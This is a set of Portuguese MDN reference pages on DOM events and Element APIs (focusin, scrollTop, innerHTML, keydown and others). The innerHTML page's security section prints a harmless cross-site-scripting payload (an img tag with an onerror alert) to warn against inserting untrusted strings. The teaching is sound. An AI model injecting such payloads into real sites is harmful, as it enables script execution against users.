{"title":"focusin - APIs da Web","text":"focusin\n=======\n\nO evento `focusin` é acionado no momento em que o elemento receba o foco. A grande diferença entre esse evento e o evento `focus` (en-US), é que apenas o `focusin` delega o seu evento para o elemento pai (conhecido como bubbling ou deletegate).\n\nInformações Gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n`FocusEvent` (en-US)\nBorbulha\n\nSim\n\nCancelável\n\nNão\n\nAlvo\n\nElement\n\nAção Padrão\n\nNenhuma.\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | Event target losing focus. |\n| `type` Somente leitura  | `DOMString` | The type of event. |\n| `bubbles` Somente leitura  | `Boolean` | Whether the event normally bubbles or not. |\n| `cancelable` Somente leitura  | `Boolean` | Whether the event is cancellable or not. |\n| `relatedTarget` Somente leitura  | `EventTarget` (DOM element) | Event target receiving focus. |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-focusin |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEventos Relacionais\n-------------------\n\n* `focus (en-US)`\n* `blur (en-US)`\n* `focusin (en-US)`\n* `focusout (en-US)`"}
{"title":"Element.scrollTop - APIs da Web","text":"Element.scrollTop\n=================\n\nA propriedade Element.scrollTop obtém ou define o número de pixels quando o conteúdo de um elemento é rolado para baixo. O ScrollTop de um elemento é uma medida da distância do topo de um elemento para o seu conteúdo superior visível. Quando um conteúdo de elemento não gera uma barra de rolagem vertical, então o seu valor será padronizado scrollTop = 0.\n\nSintaxe\n-------\n```\n\n// Obtém o número de pixels rolados\nvar intElemScrollTop = element.scrollTop;\n```\n\n\nDepois de executar este código, intElemScrollTop é um número inteiro correspondente ao número de pixels que o `elemento` conteúdo foi rolado para cima.\n```\n\n// Define o número de pixels rolados\nelement.scrollTop = intValue;\n```\n\n\n`scrollTop` pode ser definido como qualquer valor inteiro, com algumas ressalvas:\n\n* Se o elemento não pode ser rolada (por exemplo, se o elemento é não-rolagem), scrollTop = 0.\n* Se for definido como um valor menor do que 0, scrollTop é definido = 0.\n* Se for definido como um valor maior do que o máximo que o conteúdo pode ser rolada, scrollTop está definido para o máximo.\nExemplo\n-------\n\npadding-top\n\nLorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n\nDuis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n\npadding-bottom\n\n**Left** **Top** **Right** **Bottom** *margin-top* *margin-bottom* *border-top* *border-bottom*\n\n![Image:scrollTop.png](/pt-BR/docs/Web/API/Element/scrollTop/scrolltop.png)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-element-scrolltop |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nReferências\n-----------\n\n* W3C Draft CSSOM View Module\n* MSDN's scrollTop definition\n* MSDN's Measuring Element Dimension and Location"}
{"title":"Element.matches() - APIs da Web","text":"Element.matches()\n=================\n\nO método **`Element.matches()`** retorna verdadeiro se o elemento puder ser selecionado pela sequência de caracteres específica; caso contrário retorna falso.\n\n**Aviso:** Diversos navegadores implementam isto, prefixado, sob nome não padronizado `matchesSelector()`.\n\nSintaxe\n-------\n```\n\nvar result = element.matches(selectorString);\n```\n\n\n* `result contém o valor de retorno true ou false.`\n* `selectorString` é uma string representando o seletor para teste.\nExemplo\n-------\n\n\n```html\n<ul id=\"birds\">\n  <li>Orange-winged parrot</li>\n  <li class=\"endangered\">Philippine eagle</li>\n  <li>Great white pelican</li>\n</ul>\n\n<script type=\"text/javascript\">\n var birds = document.getElementsByTagName(\"li\");\n\n for (var i = 0; i < birds.length; i++) {\n if (birds[i].matches(\".endangered\")) {\n console.log(\"The \" + birds[i].textContent + \" is endangered!\");\n }\n }\n</script>\n```\n\n\nIsto irá logar \"The Philippine eagle is endangered!\" para o console, desde que o elemento tenha de fato um atributo de classe com o valor `endangered`.\n\nExceções\n--------\n\n`SYNTAX_ERR`\n\nO seletor de string específico é inválido.\n\nPolyfill\n--------\n\nPara navegadores que não suportam `Element.matches()` ou `Element.matchesSelector()`, mass possuem suporte para `document.querySelectorAll()`, existe um polyfill:\n```\n\nif (!Element.prototype.matches) {\n    Element.prototype.matches =\n        Element.prototype.matchesSelector ||\n        Element.prototype.mozMatchesSelector ||\n        Element.prototype.msMatchesSelector ||\n        Element.prototype.oMatchesSelector ||\n        Element.prototype.webkitMatchesSelector ||\n        function(s) {\n            var matches = (this.document || this.ownerDocument).querySelectorAll(s),\n                i = matches.length;\n            while (--i >= 0 && matches.item(i) !== this) {}\n            return i > -1;\n        };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-element-matches① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"GlobalEventHandlers.onlostpointercapture - APIs da Web","text":"GlobalEventHandlers.onlostpointercapture\n========================================\n\nA propriedade **`onlostpointercapture`** do mixin `GlobalEventHandlers` é uma `event handler` que processa eventos `lostpointercapture`.\n\nSintaxe\n-------\n```\n\ntarget.onlostpointercapture = functionRef;\n```\n\n### Value\n\n`functionRef` é o nome de uma função ou uma expressão de função. A função recebe um objeto `PointerEvent` (en-US) como seu único argumento.\n\nExemplo\n-------\n\n\n```js\nfunction overHandler(event) {\n  // Determinar o manipulador lostpointercapture para o evento alvo (target event).\n  let lostCaptureHandler = event.target.onlostpointercapture;\n}\n\nfunction init() {\n  let el = document.getElementById(\"target\");\n  el.onlostpointercapture = overHandler;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Pointer Events # the-lostpointercapture-event |\n| Pointer Events # dom-globaleventhandlers-onlostpointercapture |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Evento `Document: lostpointercapture` (en-US)\n* Evento `HTMLElement: lostpointercapture` (en-US)\n* `Element.releasePointerCapture()` (en-US)"}
{"title":"Element.animate() - APIs da Web","text":"Element.animate()\n=================\n\nBaseline 2022\n-------------\n\nNewly availableSince September 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nUm `Element` de interface do método **`animate()`** é um método de atalho o qual cria uma nova `Animation`, e a aplica ao elemento, então executa a animação. Retorna a instância do objeto `Animation` criado.\n\n**Nota:** Elementos podem ter múltiplas animações aplicadas a eles. Você pode obter uma lista de animações que afetam um elemento chamando `Element.getAnimations()` (en-US).\n\nSyntax\n------\n```\n\nvar animation = element.animate(keyframes, options);\n```\n\n### Paramêtros\n\n`keyframes`\n\nAn Object formatted to represent a set of keyframes (en-US).\n\n`opções`\n\nOu um inteiro representando a duração da animação (em milisegundos), ou um objeto contendo uma ou mais propriedades de tempo:\n\n`id Optional`\n\nUm propriedade única á animate(): uma `DOMString` com a qual a animação é referenciada.\n\n{{Page(\"/pt-BR/docs/Web/API/Web\\_Animations\\_API/Animation\\_timing\\_properties\", \"Properties\")}}\n\n\n#### Opções Futuras\n\nAs seguintes opções atualmente não são embarcadas em nenhum lugar, porém serão adicionadas num futuro próximo.\n\n`composite Optional`\n\nDetermina como os valores são combinados entre animações diferentes, separa animações que não especificam suas próprias operações de composição. Padrão para subtitituir.\n\n* Adiciona efeito de imposição e aditivação, onde cada iteração sucessiva é executada sobre a última. Por exemplo, com transform translateX(-200px) não sobreescreveria um valor anterior de rotate(20deg) mas resultaria em `translateX(-200px) rotate(20deg)`.\n* accumulate é similar porém um pouco mais inteligente: blur(2) e blur(5) se tornam blur(7), não blur(2) blur(5).\n* replace sobreescreve o valor anterior com um novo.\n\n`iterationComposite Optional`\n\nDetermines how values build from iteration to iteration in this animation. Can be set to `accumulate` or `replace` (see above). Defaults to `replace`.\n\n`spacing Optional`\n\nDetermina como quadros-chaves sem deslocamento temporal devem ser distribuidos durante a duração da animação. Padrão para distribute.\n\n* distribuir quadro-chaves de posição de forma que a diferença de deslocamento entre quadros-chaves subsequentes seja igual, distribuirá igualmente os quadros-chaves no decorrer do tempo de execução.\n* `paced` positions keyframes so that the distance between subsequent values of a specified paced property are equal, that is to say, keyframes are spaced further apart the greater the difference in their property values.\n\n![](https://w3c.github.io/web-animations/img/spacing-distribute.svg)\n![ ](https://w3c.github.io/web-animations/img/spacing-paced.svg)\n\n### Valor de retorno\n\nRetorna uma `Animation`.\n\nExemplo\n-------\n\n Na demonstração Down the Rabbit Hole (with the Web Animation API), nós usamos o método conveniente animate() para imediamente criar e executar uma animação no elemento #tunnel para faze-lo fluir em direção superior, infinitamente.\n Note o array de quadros-chave passado e também o bloco de opções de temporização.\n\n\n```js\ndocument.getElementById(\"tunnel\").animate(\n  [\n    // keyframes\n    { transform: \"translateY(0px)\" },\n    { transform: \"translateY(-300px)\" },\n  ],\n  {\n    // timing options\n    duration: 1000,\n    iterations: Infinity,\n  },\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Animations # dom-animatable-animate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Web Animations API (en-US)\n* `Element.getAnimations()` (en-US)\n* `Animation`"}
{"title":"Element.setAttributeNS() - APIs da Web","text":"Element.setAttributeNS()\n========================\n\n`setAttributeNS` adiciona um novo atributo ou modifica o valor de um atributo com um namespace e um nome.\n\nSyntax\n```\n\nelement.setAttributeNS(namespace,name,value)\n```\n\n\n* `namespace` é uma string especificando o namespace do atributo.\n* `name` é uma string identificando o atributo que sera definido.\n* `value` é o novo valor desejado para o atributo.\nExemplo\n-------\n```\n\nvar d = document.getElementById(\"d1\");\nd.setAttributeNS(\"http://www.mozilla.org/ns/specialspace\", \"align\", \"center\");\n```\n\nNotas\n-----\n\nDOM methods dealing with element's attributes:\n\n| Not namespace-aware, most commonly used methods | Namespace-aware variants (DOM Level 2) | DOM Level 1 methods for dealing with `Attr` nodes directly (seldom used) | DOM Level 2 namespace-aware methods for dealing with `Attr` nodes directly (seldom used) |\n| --- | --- | --- | --- |\n| `setAttribute` (DOM 1) | `setAttributeNS` | `setAttributeNode` (en-US) | `setAttributeNodeNS` (en-US) |\n| `getAttribute` (DOM 1) | `getAttributeNS` (en-US) | `getAttributeNode` (en-US) | `getAttributeNodeNS` (en-US) |\n| `hasAttribute` (en-US) (DOM 2) | `hasAttributeNS` (en-US) | - | - |\n| `removeAttribute` (DOM 1) | `removeAttributeNS` (en-US) | `removeAttributeNode` (en-US) | - |\n\nEspecificação\n-------------\n\nDOM Level 2 Core: setAttributeNS"}
{"title":"Element.innerHTML - APIs da Web","text":"Element.innerHTML\n=================\n\nA propriedade **`Element.innerHTML`** define ou obtém a sintaxe HTML ou XML descrevendo os elementos descendentes.\n\n> \n> \\*\\*Nota:\\*\\*Se um nó `<div>`, `<span>`, ou `<noembed>` (en-US) tem um nó filho que inclui os caracteres (&), (<), ou (>), o innerHTML retornará esses caracteres como &amp, &lt e &gt respectivamente. Utilize `Node.textContent` para recuperar uma cópia correta do conteúdo desses nós de texto.\n> \n> \n> \n\nSintaxe\n-------\n```\n\nvar content = element.innerHTML;\n```\n\n\nNo retorno, `content` contém o código HTML serializado descrevendo todos os descendentes dos elementos.\n```\n\n element.innerHTML = content;\n```\n\n\nRemove todos os elementos filhos, analisa o conteúdo da string e atribui os nós resultantes como filhos do elemento.\n\n### Exceptions\n\n**`SyntaxError`**\n\nFoi feita uma tentativa de definir o valor de um `innerHTML` usando uma string que não é HTML.\n\n`NoModificationAllowedError`\n\nFoi feita uma tentativa de inserir HTML dentro de um nó no qual o pai é um `Document`.\n\nExemplo\n-------\n\n\n```html\n<html>\n<head></head>\n<body>\n\n<div id=\"txt\">\n  <script id=\"txt0\"> x=0 </script>\n    <noembed id=\"txt1\"> 1   </noembed>\n    <noframes id=\"txt2\"> 2   </noframes>\n    <noscript id=\"txt3\"> 3   </noscript>\n    <div id=\"txt4\"> 4   </div>\n    <div>\n      <noscript id=\"txt5\"> 5   </noscript>\n    </div>\n    <span id=\"txt6\"> 6   </span>\n  </div>\n\n  <div id=\"innerHTMLtxt\"></div>\n<div id=\"textContenttxt\"><div>\n\n<script>\nfor (i = 0; i < 7; i++) {\n x = \"txt\" + i;\n document.getElementById(x).firstChild.nodeValue = '&<>';\n}\n\ndocument.getElementById(\"innerHTMLtxt\").textContent = document.getElementById(\"txt\").innerHTML\ndocument.getElementById(\"textContenttxt\").textContent = document.getElementById(\"txt\").textContent\n</script>\n\n<body>\n</html>\n```\n\n\n\n```js\n// HTML:\n// <div id=\"d\"><p>Content</p>\n// <p>Further Elaborated</p>\n// </div>\n\nconst d = document.getElementById(\"d\");\ndump(d.innerHTML);\n\n// a string \"<p>Content</p><p>Further Elaborated</p>\"\n// é exibida na janela do console\n```\n\nNotas\n-----\n\nEssa propriedade fornece uma forma simples de trocar completamente o conteúdo de um elemento. Por exemplo, o conteúdo inteiro do elemento body pode ser excluído ao fazer:\n\n\n```js\n// Troca o conteúdo de body por uma string vazia.\ndocument.body.innerHTML = \"\";\n```\n\n\nA propriedade `innerHTML` de vários tipos de elementos — incluindo `<body>` ou `<html>` — pode ser retornada ou trocada. Essa também pode ser usada para ver o código fonte de uma página que foi modificada dinamicamente:\n\n\n```js\n// Copie e cole este código, em uma única linha, na barra de endereços\njavascript: \"<pre>\" +\n  document.documentElement.innerHTML.replace(/</g, \"&lt;\") +\n  \"</pre>\";\n```\n\n\nEssa propriedade foi implementada inicialmente pelos navegadores web, e então especificada pela WHATWG e W3C no HTML5. Implementações antigas talvez não tenham implementado-a exatamente da mesma forma. Por exemplo, quando um texto é inserido em uma caixa de texto, o Internet Explorer muda o valor do atributo innerHTML dessa entrada, mas os navegadores Gecko não.\n\n### Considerações de segurança\n\nNão é incomum ver a propriedade innerHTML usada para inserir texto em uma página web. Isso vem com um risco de segurança.\n\n\n```js\nvar name = \"John\";\n\n// presumindo que el é um elemento DOM HTML\nel.innerHTML = name; // inofensivo, nesse caso\n\n// ...\n\nname = \"<script>alert('I am John in an annoying alert!')</script>\";\nel.innerHTML = name; // inofensivo, nesse caso\n```\n\n\nEmbora isso talvez se pareça como um ataque cross-site scripting, o resultado é inofensivo. O HTML5 especifica que uma tag `<script>`, inserida via `innerHTML`, não deve ser executada.\n\nNo entanto, há formas de se executar JavaScript sem usar elementos `<script>`, por isso ainda há um risco de segurança sempre que você usa `innerHTML` para definir uma string sobre a qual você não tem controle. Por exemplo:\n\n\n```js\nconst name = \"<img src='x' onerror='alert(1)'>\";\nel.innerHTML = name; // exibe uma caixa de alerta\n```\n\n\nPor essa razão, recomenda-se que você não use o `innerHTML` quando estiver inserindo texto puro; como alternativa, utilize `node.textContent`. Isso não interpreta o conteúdo passado como HTML, mas em vez disso, insere-o como texto puro.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Parsing and Serialization # dom-innerhtml-innerhtml |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `innerDOM` - Para aqueles que desejam aderir aos padrões, aqui oferece um conjunto de funções JavaScript para serializar ou analisar XML, de modo a configurar o conteúdo do elemento definido como uma string(s) através do DOM ou recuperando o conteúdo do elemento obtido a partir do DOM como uma string.\n* insertAdjacentHTML (en-US) - Uma alternativa para o innerHTML, permitindo você anexar um novo HTML, ao invés de trocá-la.\n* jssaxparser - Uma solução mais robusta (embora mais pesada) do innerDOM (suporta análise com namespaces, atributos com aspas simples, seções CDATA, etc.), esse é o analisador SAX2 quando usado com seu manipulador de conteúdo DOM. (Oferece String para DOM; DOM para String é significantemente mais fácil)\n* Considerações de eficiência: Em quirksmode"}
{"title":"Element.tagName - APIs da Web","text":"Element.tagName\n===============\n\nRetorna o nome do elemento.\n\nSintaxe\n-------\n```\n\nnomeDoElemento = element.tagName;\n```\n\n\n* `nomeDoElemento` é a string contendo o nome do elemento atual.\nNotas\n-----\n\nEm XML (e linguagens baseadas, como XHTML), `tagName` conserva o *case* (caixa alta/baixa) da tag. Nos elementos HTML da árvore do DOM marcados como documentos HTML, `tagName` retorna o nome do elemento em *uppercase* (caixa alta). O valor de `tagName` é o mesmo que o nodeName (en-US)\n\nExemplo\n-------\n\n### conteúdo HTML\n\n\n```html\n<span id=\"exemplo\">Descrição do exemplo...</span>\n```\n\n### conteúdo JavaScript\n\n\n```js\nvar span = document.getElementById(\"exemplo\");\nconsole.log(span.tagName);\n```\n\n\nEm XHTML (ou qualquer outro formato XML), \"`span`\" será a saída. Em HTML, \"`SPAN`\" será a saída.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-element-tagname① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"keydown - APIs da Web","text":"keydown\n=======\n\nO evento `keydown` é disparado quando uma tecla é pressionada. Diferente do evento `keypress`, o `keydown` é disparado para teclas que produzem e que não produzem um caractere.\n\nInformações gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n\nKeyboardEvent (en-US)\n\nBurbulha\n\nSim\n\nCancelável\n\nSim\n\nAlvo\n\nDocument, Element\n\nAção Padrão\n\nVariações: evento `keypress`; carrega sistema de composição de texto; eventos `blur` e `focus`; evento `DOMActivate`; outro evento\n\nPropriedades\n------------\n\n| Propriedade | Tipo | Descrição |\n| --- | --- | --- |\n| `target` Somente leitura  | EventTarget | O alvo do evento (o alvo de nível mais alto na árvore DOM). |\n| `type` Somente leitura  | DOMString | O tipo do evento. |\n| `bubbles` Somente leitura  | Boolean | Se o evento normalmente burbulha ou não |\n| `cancelable` Somente leitura  | Boolean | Se o evento é cancelável ou não |\n| `view` Somente leitura  | WindowProxy | `document.defaultView`\n (`window` do documento)\n  |\n| `detail` Somente leitura  | `long` (`float`) | 0. |\n| `target` Somente leitura  | EventTarget (elemento DOM) | \n Elemento focado processando o evento, elemento raiz se nenhum elemento\n input adequado está focado.\n  |\n| `char` Somente leitura  | DOMString (string) | \n O caractere correspondente à tecla. Se a tecla corresponde a um\n caractere imprimível, este valor é uma string Unicode não vazia,\n contendo o caractere. Se a tecla não tem uma representação imprimível, o\n valor é uma string vazia. Veja\n key names and char values (en-US)\n para detalhes.\n\n**Nota:** Se a tecla for usada como uma macro que insere\n múltiplos caracteres, o valor deste atributo é toda a string, não\n apenas o primeiro caractere.\n  |\n| `key` Somente leitura  | DOMString (string) | \n O valor da tecla pressionada. Se a tecla tem uma representação\n imprimível, o valor deste atributo é o mesmo do atributo\n `char`. Caso contrário, é uma das strings key especificadas\n em\n Key Values (en-US). Se a tecla não pode ser identificada, o valor do atributo é a string\n \"Unidentified\". Veja\n key names and char values (en-US)\n para detalhes. Somente Leitura.\n  |\n| `code` Somente leitura  | DOMString (string) | \n Mantém uma string que identifica a tecla física sendo pressionada. O\n valor não é afetado pelo layout atual do teclado ou estado de\n modificador, portando uma tecla particular sempre retornará o mesmo\n valor.\n  |\n| `charCode` Somente leitura  | Unsigned long (int) | \n O número de referência Unicode da tecla; este atributo é usado somente\n pelo evento\n `keypress` (en-US). Para teclas cujo atributo `char` contém múltiplos\n caracteres, este é o valor Unicode do primeiro caractere daquele\n atributo.\n\n**Aviso:** Este atributo está obsoleto; você deve usar\n `char` no lugar, se disponível.\n  |\n| `keyCode` Somente leitura  | Unsigned long (int) | \n Um código numérico, dependente do sistema e da implementação,\n identificando o valor não modificado da tecla pressionada. Este é\n usualmente o código decimal ASCII (RFC 20) ou código Windows\n 1252 correspondente à tecla; veja\n Virtual key codes para uma lista de\n valores comuns. Se a tecla não pode ser identificada, este valor é 0.\n\n**Aviso:** Este atributo está obsoleto; você deve usar\n `key` no lugar, se disponível.\n  |\n| `which` Somente leitura  | Unsigned long (int) | \n Um código numérico, dependente do sistema e da implementação,\n identificando o valor não modificado da tecla pressionada; este é\n usualmente o mesmo que `keyCode`.\n\n**Aviso:** Este atributo está obsoleto; você deve usar\n `key` no lugar, se disponível.\n  |\n| `location` Somente leitura  | long (float) | A localização da tecla no dispositivo. |\n| `repeat` Somente leitura  | boolean | `true` se a tecla foi pressionada tempo suficiente para\n disparar repetição de tecla, `false` caso contrário.\n  |\n| `locale` Somente leitura  | string | \n O código do idioma para o evento, se disponível; uma string vazia caso\n contrário.\n  |\n| `ctrlKey` Somente leitura  | boolean | `true` se a tecla control estava pressionada quando o evento\n foi disparado. `false` caso contrário.\n  |\n| `shiftKey` Somente leitura  | boolean | `true` se a tecla shift estava pressionada quando o evento\n foi disparado. `false` caso contrário.\n  |\n| `altKey` Somente leitura  | boolean | `true` se a tecla alt estava pressionada quando o evento foi\n disparado. `false` caso contrário.\n  |\n| `metaKey` Somente leitura  | boolean | `true` se a tecla meta estava pressionada quando o evento foi\n disparado. `false` caso contrário.\n  |\n\n`preventDefault()` do evento `keydown`\n--------------------------------------\n\nIniciando com o Gecko 25, uma chamada para o método `preventDefault()` do evento `keydown` evita dispachar o evento `keypress` seguinte. Este é um comportamento válido para a especificação D3E e os principais navegadores web se comportam desta forma. Por outro lado, o Gecko 24 e anteriores dispachavam o evento `keypress` mesmo que o método `preventDefault()` do evento `keydown` anterior fosse chamado, embora o atributo `defaultPrevented` do evento `keypress` fosse `true` neste caso.\n\nEventos Relacionados\n--------------------\n\n* `keydown (en-US)`\n* `keyup (en-US)`\n* `keypress (en-US)`\n* `input (en-US)`\nExemplo\n-------\n```\n\n<!DOCTYPE html>\n<html>\n<head>\n<script>\n\n'use strict';\n\ndocument.addEventListener('keydown', (event) => {\n  const keyName = event.key;\n  alert('keydown event\\n\\n' + 'key: ' + keyName);\n});\n\n</script>\n</head>\n<body>\n</body>\n</html>\n```"}
{"title":"Element.querySelector() - APIs da Web","text":"Element.querySelector()\n=======================\n\nRetorna o primeiro elemento descendente do elemento em que a função foi invocada e que corresponde aos seletores especificado.\n\nSintaxe\n-------\n```\n\nelemento = elementoBase.querySelector(seletores);\n```\n\n\n* `elemento` e `elementoBase` são objetos `element`.\n* `selectores` é um grupo de selectores (en-US).\nExemplo\n-------\n\nNeste exemplo é retornado o primeiro elemento `style` que, ou não tem nenhum atributo type, ou tem o atributo type igual a `text/css`:\n\n\n```js\nvar el = document.body.querySelector(\n  \"style[type='text/css'], style:not([type])\",\n);\n```\n\nNotas\n-----\n\nRetorna `null` se nenhum elemento for encontrado; caso contrário retorna o primeiro elemento;\n\nLança uma exceção `SYNTAX_ERR` se o grupo de seletores é inválido.\n\nquerySelector() foi introduzido em WebApps API.\n\nO argumento de string do `querySelector` deve seguir a sintaxe CSS. Veja exemplos concretos em `document.querySelector`\n\nEspecificação\n-------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-parentnode-queryselectorall① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `element.querySelectorAll` (en-US)\n* `document.querySelector`\n* `document.querySelectorAll`\n* Code snippets for querySelector"}
{"title":"blur (evento) - APIs da Web","text":"blur (evento)\n=============\n\nO evento `blur` é acionado quando um elemento perde foco. A diferença principal entre este evento e `focusout` (en-US) é que apenas o segundo 'borbulha'.\n\nInformação geral\n----------------\n\nEspecificação\n\nDOM L3\n\nInterface\n`FocusEvent` (en-US)\nBorbulha\n\nNão\n\nCancelável\n\nNão\n\nAlvo\n\nElemento\n\nAção padrão\n\nNenhuma\n\n\n**Nota:** O valor de `Document.activeElement` varia entre navegadores enquanto este evento é processado (Erro do Firefox 452307): O IE10 define-o para o elemento para onde o foco moverá, enquanto Firefox e Chrome muitas vezes definem-o para o `body` do documento.\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | Event target (DOM element) |\n| `type` Somente leitura  | `DOMString` | The type of event. |\n| `bubbles` Somente leitura  | `Boolean` | Whether the event normally bubbles or not. |\n| `cancelable` Somente leitura  | `Boolean` | Whether the event is cancellable or not. |\n| `relatedTarget` Somente leitura  | `EventTarget` (DOM element) | null |\n\nDelegação do evento\n-------------------\n\nExistem duas maneiras de implementar a delegação de eventos para este evento: usando o evento `focusout` nos navegadores que suportam-o, ou definindo o parâmetro \"useCapture\" do `addEventListener` para `true`:\n\n### Conteúdo HTML\n\n\n```html\n<form id=\"form\">\n  <input type=\"text\" placeholder=\"text input\" />\n  <input type=\"password\" placeholder=\"password\" />\n</form>\n```\n\n### Conteúdo JavaScript\n\n\n```js\nvar form = document.getElementById(\"form\");\nform.addEventListener(\n  \"focus\",\n  function (event) {\n    event.target.style.background = \"pink\";\n  },\n  true,\n);\nform.addEventListener(\n  \"blur\",\n  function (event) {\n    event.target.style.background = \"\";\n  },\n  true,\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-blur |\n| HTML Standard # handler-onblur |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEventos relacionados\n--------------------\n\n* `focus (en-US)`\n* `blur (en-US)`\n* `focusin (en-US)`\n* `focusout (en-US)`"}
{"title":"mouseover - APIs da Web","text":"mouseover\n=========\n\nO evento `mouseover` é acionado quando um dispositivo ponteiro é movido para o elemento que esteja escutando ou para um de seus filhos.\n\nInformações Gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n`MouseEvent`\nBubbles\n\nSim\n\nCancelable\n\nSim\n\nAlvo\n\nElement\n\nAção Padrão\n\nNone\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | O evento alvo(o mais alto alvo na arvore do DOM). |\n| `type` Somente leitura  | `DOMString` | The type of event. |\n| `bubbles` Somente leitura  | Boolean | Whether the event normally bubbles or not |\n| `cancelable` Somente leitura  | `Boolean` | Whether the event is cancellable or not |\n| `view` Somente leitura  | `WindowProxy` | `document.defaultView` (`window` of the document) |\n| `detail` Somente leitura  | `long` (`float`) | 0. |\n| `currentTarget` Somente leitura  | `EventTarget` | The node that had the event listener attached. |\n| `relatedTarget` Somente leitura  | `EventTarget` | For `mouseover`, `mouseout`, `mouseenter` and `mouseleave` events: the target of the complementary event (the `mouseleave` target in the case of a `mouseenter` event). `null` otherwise. |\n| `screenX` Somente leitura  | long | The X coordinate of the mouse pointer in global (screen) coordinates. |\n| `screenY` Somente leitura  | long | The Y coordinate of the mouse pointer in global (screen) coordinates. |\n| `clientX` Somente leitura  | long | The X coordinate of the mouse pointer in local (DOM content) coordinates. |\n| `clientY` Somente leitura  | long | The Y coordinate of the mouse pointer in local (DOM content) coordinates. |\n| `button` Somente leitura  | unsigned short | This is always 0 as no button presses trigger this event (mouse movement does). |\n| `buttons` Somente leitura  | unsigned short | The buttons depressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, \"Browser Back\" button)=8, 5th button (typically, \"Browser Forward\" button)=16. If two or more buttons are depressed, returns the logical sum of the values. E.g., if Left button and Right button are depressed, returns 3 (=1 | 2). More info. |\n| `mozPressure` Somente leitura  | float | The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure). |\n| `ctrlKey` Somente leitura  | boolean | `true` if the control key was down when the event was fired. `false` otherwise. |\n| `shiftKey` Somente leitura  | boolean | `true` if the shift key was down when the event was fired. `false` otherwise. |\n| `altKey` Somente leitura  | boolean | `true` if the alt key was down when the event was fired. `false` otherwise. |\n| `metaKey` Somente leitura  | boolean | `true` if the meta key was down when the event was fired. `false` otherwise. |\n\nExample\n-------\n\nThe following example illustrates the difference between `mouseover` and `mouseenter` events.\n\n\n```html\n<ul id=\"test\">\n  <li>item 1</li>\n  <li>item 2</li>\n  <li>item 3</li>\n</ul>\n\n<script>\n var test = document.getElementById(\"test\");\n\n // this handler will be executed only once when the cursor moves over the unordered list\n test.addEventListener(\n \"mouseenter\",\n function (event) {\n // highlight the mouseenter target\n event.target.style.color = \"purple\";\n\n // reset the color after a short delay\n setTimeout(function () {\n event.target.style.color = \"\";\n }, 500);\n },\n false,\n );\n\n // this handler will be executed every time the cursor is moved over a different list item\n test.addEventListener(\n \"mouseover\",\n function (event) {\n // highlight the mouseover target\n event.target.style.color = \"orange\";\n\n // reset the color after a short delay\n setTimeout(function () {\n event.target.style.color = \"\";\n }, 500);\n },\n false,\n );\n</script>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-mouseover |\n| HTML Standard # handler-onmouseover |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `mousedown (en-US)`\n* `mouseup (en-US)`\n* `mousemove (en-US)`\n* `click (en-US)`\n* `dblclick (en-US)`\n* `mouseover (en-US)`\n* `mouseout (en-US)`\n* `mouseenter (en-US)`\n* `mouseleave (en-US)`\n* `contextmenu (en-US)`"}
